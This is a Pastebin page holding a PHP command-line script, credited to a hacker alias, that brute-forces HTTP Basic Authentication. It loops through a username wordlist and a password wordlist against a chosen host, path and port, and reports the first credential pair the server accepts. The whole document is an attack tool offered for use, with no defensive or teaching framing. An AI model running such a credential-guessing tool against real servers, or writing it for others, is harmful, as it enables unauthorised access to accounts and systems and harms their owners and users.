Advertisement
Guest User

Untitled

a guest
Sep 23rd, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.50 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. $userlist = @$argv[1];
  5. $passlist = @$argv[2];
  6. $host = @$argv[3];
  7. $path = @$argv[4];
  8. $port = @$argv[5];
  9.  
  10.  
  11. echo "
  12. ------------------------------------------------------------------------
  13. ::: ::: ::: ::::::::::: ::: :::
  14. :+: :+: :+: :+: :+: :+: :+:
  15. +:+ +:+ +:+ +:+ +:+ +:+ +:+
  16. +#++:++#++: +#+ +:+ +#+ +#++:++#++
  17. +#+ +#+ +#+ +#+ +#+ +#+ +#+
  18. #+# #+# #+# #+# #+# #+# #+#
  19. ### ### ######## ### ### ###
  20. :::::::::: :::::::: ::::::::: :::::::: ::::::::::
  21. :+: :+: :+: :+: :+: :+: :+: :+:
  22. +:+ +:+ +:+ +:+ +:+ +:+ +:+
  23. :#::+::# +#+ +:+ +#++:++#: +#+ +#++:++#
  24. +#+ +#+ +#+ +#+ +#+ +#+ +#+
  25. #+# #+# #+# #+# #+# #+# #+# #+#
  26. ### ######## ### ### ######## ##########
  27.  
  28. HTTP Basic Authentication Wordlist Attacker
  29.  
  30. Coded by zeN @ DarkCode.me - DUSecurity.com - EngimaGroup.org
  31. Usage : php auth-force.php <userlist> <passlist> <host> <path> <port>
  32.  
  33. ------------------------------------------------------------------------
  34. ";
  35.  
  36. if(!$userlist || !$passlist || !$host || !$path || !$port) { die("[-] Incorrect Arguments, Exiting...\n"); }
  37.  
  38. echo $userlist;
  39.  
  40. $user = file($userlist);
  41. $pass = file($passlist);
  42.  
  43. echo "[+] Starting Cracker...\n";
  44.  
  45. foreach($user as $username) {
  46.  
  47. $username = substr_replace($username ,"",-2);
  48.  
  49. foreach($pass as $password) {
  50.  
  51. $password = substr_replace($password ,"",-2);
  52. $data = CheckLogin($host, $path, $username, $password);
  53. $resu = CheckResult($data);
  54.  
  55. if($resu == true) {
  56. echo "\n[+] $username : $password\n";
  57. die ("[+] We have a login captain!\n");
  58. } else {
  59. echo "[-] $username : $password - Incorrect!\n";
  60. }
  61. } // End of the $password loop.
  62. } // End of the $username loop.
  63.  
  64. function CheckLogin($host, $path, $user, $pass) {
  65.  
  66. $curl = curl_init();
  67.  
  68. curl_setopt($curl,CURLOPT_URL,$host.$path);
  69. curl_setopt($curl, CURLOPT_USERPWD,"$user:$pass");
  70. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  71. $data = curl_exec($curl);
  72. curl_close($curl);
  73.  
  74. return $data;
  75. }
  76.  
  77. function CheckResult($data)
  78. {
  79. if(strstr($data,"301 Moved Permanently")) { return false; }
  80. else if(strstr($data,"401 Authorization Required")) { return false; }
  81. else if(strstr($data,"404 Not Found")) { die("\n[-] We received a 404. Please check your settings!") }
  82.  
  83. else { return true; }
  84. }
  85.  
  86. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement